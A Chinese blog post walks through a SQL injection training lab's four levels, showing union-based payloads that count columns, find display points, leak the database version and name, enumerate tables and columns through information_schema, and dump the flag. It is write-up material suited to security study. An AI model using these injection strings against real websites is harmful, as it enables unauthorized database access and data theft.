封神台SQL注入-基础靶场1-显错注入

原创

原味瓜子、 于 2020-09-28 10:25:06 发布 931 收藏 6

分类专栏： SQL注入 文章标签： 封神台SQL 显错注入

本文链接：https://blog.csdn.net/chenzzhenguo/article/details/108832232

文章目录

显错注入

Pass-01

- 判断注入类型
  传送门：如何判断注入类型

```
id=1 and 1=1//有回显
id=1 and 1=2// No results found
```

判断为数字型注入

- 判断有几列

```
id=1 order by 3 //有回显
id=1 order by 4 // No results found
```

判断有三列

- 判断回显点

```
id=1 and 1=2 union select 1,2,3
```

name：2
pwd：3
因为union，所以前面要置错，让后面的查询语句回显。
select直接加数字串时，那么它输出的内容就是我们select后的数字

- 爆出数据库名，和数据库版本号

```
id=1 and 1=2 union select 1,version(),database()
```

version()=5.6.47
database()=error

- 爆出表名

```
id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='error'
```

table()=erroe_flag，user

- 爆字段名

```
id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='error_flag'
```

- 爆字段值

```
id=1 and 1=2 union select 1,2,group_concat(id,flag) from error_flag
```

zKaQ-Nf

Pass-02

- 判断注入类型

```
id=1 and 1=1//有回显
id=1 and 1=2//有回显
```

字符型注入

- 判断有几列

```
id=1' order by 3--+//有回显
id=1' order by 4--+// No results found
```

传送门：关于`--+`的说明

有三列

- 判断回显点

```
id=1' and 1=2 union select 1,2,3--+
```

- 爆数据库名和数据库版本号

```
id=1' and 1=2 union select 1,version(),database()--+
```

- 后续操作同Pass-01

Pass-03

把`'`和`)`闭合即可

Pass-04

闭合`"`和`)`即可